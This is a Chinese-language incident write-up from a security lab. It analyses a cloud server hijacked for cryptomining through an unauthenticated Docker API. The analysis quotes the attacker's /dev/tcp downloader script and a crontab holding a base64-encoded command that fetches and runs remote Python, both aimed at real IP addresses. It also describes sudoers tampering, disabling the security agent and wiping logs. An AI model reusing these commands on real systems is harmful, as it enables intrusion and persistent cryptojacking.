一次悲慘的被挖礦經歷

Ms08067安全實驗室發表於2021-02-19

出品|MS08067實驗室(www.ms08067.com)

本文作者:500(Ms08067實驗室成員)

一、事件起因

  上週想著部署一個分散式檔案系統,我就在阿里雲上申請了一臺機器,部署了docker並安裝Simpledfs,可不想剛雲主機剛配置沒兩天,就發現機器的cpu使用率飆升,控制檯各種告警。登入上去先看top一下看看系統的狀況,發現這個bash指令碼幾乎佔用了全部cup,估計是被黑了。

  我趕緊去檢視機器歷史操作,通過history命令檢視歷史操作,發現內容已經被清空,日誌檔案也全部被清空,並且docker服務也被關閉了。

  經過排查發現,這臺機器開放了ssh服務22埠、本地smtp25埠、sshd守護程式222埠,以及docker服務的埠。對外暴露了ssh,第一個想到的就是先檢視一下ssh的版本。

  檢視該版本中有哪些漏洞可能被攻擊者利用,排查了可能被利用的OpenSSH 安全認證繞過漏洞(CVE-2016-10012)、SSH登陸驗證繞過漏洞(cve-2018-10933)等漏洞的利用方法,但並沒有發現可直接利用並獲取到root許可權的方法。

  那麼攻擊者有沒有可能利用docker的漏洞,然後從容器中逃逸出來呢?這時我想到了docker remote API未授權訪問漏洞,攻擊者可以利用docker API 2375埠,通過介面執行容器命令。然後將/root/.ssh目錄掛載到容器內,進而把ssh公鑰寫入進去,修改許可權為600,然後就可以以root使用者登入了。

參考:http://blog.nsfocus.net/docker-remote-api-unauthorized-access-vulnerability/

二、我們來看看攻擊者做了哪些操作

  1、攻擊者建立了一個新的賬號,檢視/etc/passwd檔案,發現新增了一個使用者tech,建立的時間是22:12

tech:x:1000:1000::/home/tech:/bin/bash

  2、攻擊者將tech使用者加入到wheel組,並且修改了/etc/sudoers檔案。(這個檔案的許可權被篡改過,應該是先加上了寫許可權,篡改完成後又改回了440許可權,並配置了wheel組使用者使用sudo到root時不需要輸入密碼。)

  3、隨後攻擊者下載了工具集busybox,被阿里雲偵測到。

  4、攻擊者將根目錄換成指定的目錄,

chroot /mnt /bin/sh -c cd /opt/

   並寫入z.sh,

echo '#!/bin/bash' > z.sh
echo 'read proto server path<<<$(echo ${1//// })' >> z.sh
echo 'exec3<>/dev/tcp/42.51.64.146/443' >> z.sh
echo 'echo -en "GET /web2/$1HTTP/1.0\r\nHost: 42.51.64.146:443\r\n\r\n" >&3' >> z.sh
echo '(while read line; do' >> z.sh
echo '[[ "$line" ==$'\''\r'"'"' ]] && break' >> z.sh
echo 'done && cat) <&3'>> z.sh
echo 'exec 3>&-' >> z.sh
bash z.sh zz.sh > zz.sh ; bash zz.sh
rm -rf zz.sh

   其中裡面包含了一個ip地址,威脅情報資訊如下:

   在系統的opt目錄下,果然存在z.sh

#!/bin/bash
read proto server path <<<$(echo${1//// })
exec 3<>/dev/tcp/42.51.64.146/443
echo -en "GET /web2/$1HTTP/1.0\r\nHost: 42.51.64.146:443\r\n\r\n" >&3
(while read line; do
[[ "$line" == $'\r' ]] &&break
done && cat) <&3
exec 3>&-

  5、攻擊者嘗試寫入後門程式,進行許可權維持/usr/sbin/stable 但阿里雲盾攔截了該後門程式。

  6、22點14分至22點47分這段時間,攻擊者kill掉了阿里雲盾的防護,並下載挖礦程式。這個過程由於阿里雲盾下線,日誌被清理。未獲取到更多資訊。

  7、隨後,攻擊者下載了挖礦程式並進行了安裝。在/root/.ssh中出現了xmrig和config.json檔案,時間是22:49

   Xmirg是一款比特幣挖礦軟體,可以通過匹配到的礦池內容修改相應的config.json檔案。

   參考:https://www.dxpool.com/help/zh/kva-mining-tutorial

  8、在usr/bin中發現了執行著的bash指令碼,應該是執行全套挖礦程式的腳步程式。

   檢視下Bash指令碼的執行狀態以及網路連線情況

  9、至此攻擊者還不滿足,他還替換了計劃任務檔案,設定挖礦的計劃任務。
   修改了/etc/ssh/sshd_config、/etc/cron.d、/etc/cron.hourly等計劃任務檔案。
   /var/spool/cron/root中的內容如下:

*/2 * * * * pkill tail >/dev/null2>&1
*/2 * * * * pkill masscan >/dev/null2>&1
# https://anonpasta.rocks/raw/atucewakep
# 205.185.113.151\|cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8yMDUuMTg1LjExMy4xNTEvZC5weSIpLnJlYWQoKSkn(比特幣錢包地址)

  10、最後,攻擊者將系統的日誌檔案全部刪除,包括
   /var/log/cron、/var/log/secure、/var/log/messages、/var/log/maillog、/var/log/spooler等。

三、總結

  隨著數字貨幣價格的上漲,越來越多的攻擊者開始利用系統漏洞進行挖礦,攻擊者操作老練,思路清晰,一看就是做過多年的老手了。
  大家要加強安全意識,不要將危險埠暴露在公網,及時更新系統元件,並升級安全補丁。

轉載請聯絡作者並註明出處!

Ms08067安全實驗室專注於網路安全知識的普及和培訓。團隊已出版《Web安全攻防:滲透測試實戰指南》,《內網安全攻防:滲透測試實戰指南》,《Python安全攻防:滲透測試實戰指南》,《Java程式碼安全審計(入門篇)》等書籍。
團隊公眾號定期分享關於CTF靶場、內網滲透、APT方面技術乾貨,從零開始、以實戰落地為主,致力於做一個實用的乾貨分享型公眾號。
官方網站:https://www.ms08067.com/

掃描下方二維碼加入實驗室VIP社群
加入後邀請加入內部VIP群,內部微信群永久有效!

一次悲慘的被挖礦經歷一次悲慘的被挖礦經歷一次悲慘的被挖礦經歷

一次悲慘的被挖礦經歷一次悲慘的被挖礦經歷一次悲慘的被挖礦經歷

相關文章